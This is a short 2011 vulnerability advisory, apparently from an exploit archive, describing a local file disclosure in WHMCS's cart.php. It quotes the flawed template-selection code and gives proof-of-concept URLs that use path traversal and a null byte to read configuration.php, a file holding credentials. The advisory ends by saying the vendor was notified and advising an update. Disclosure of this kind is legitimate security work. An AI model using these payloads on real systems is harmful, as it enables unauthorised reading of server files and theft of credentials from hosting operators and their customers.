# Title      : WHMCompleteSolution (cart.php) Local File Disclosure
# Author     : Lagripe-Dz
# Product    : WHMCS ( WHMCompleteSolution )
# Vendor     : http://whmcs.com/
# Date       : 10/01/2011
# Version    : 3.x.x , 4.0.x
# Tested on  : linux+apache
 
================================================================
 
Vuln file: cart.php
---------
 
Vuln code:
---------
 
if ( $a == "add" )
{
   $templatefile = "configureproductdomain";
    ....etc
}
 
if ( $a == "login" )
{
    $templatefile = "login";
    ....etc
}
 ...
outputClientArea( $templatefile, $nowrapper );
# outputClientArea function will display
"./templates/orderforms/cart/{$templatefile}.tpl"
 
 
Details :
---------
 
if variable "$a" has a true value .. will set "$templatefile" value by
default
but when "$a" value didn't match the defaults values
you can control "$templatefile" and use it as ( File Disclosure )
 
 
Proof of Concept :
------------------
 
http://domain.tld/[PATH]/cart.php?a=[wrong_value]&templatefile=[LFD]%00
 
http://domain.tld/[PATH]/cart.php?a=test&templatefile=../../../configuration.php%00
 
 
note* : show the page source to see Disclosure file.
 
Solution :
----------
 
the vendor Notificate
update to the last version
 
================================================================
 
Greetz To All www.Sec4ever.com Members.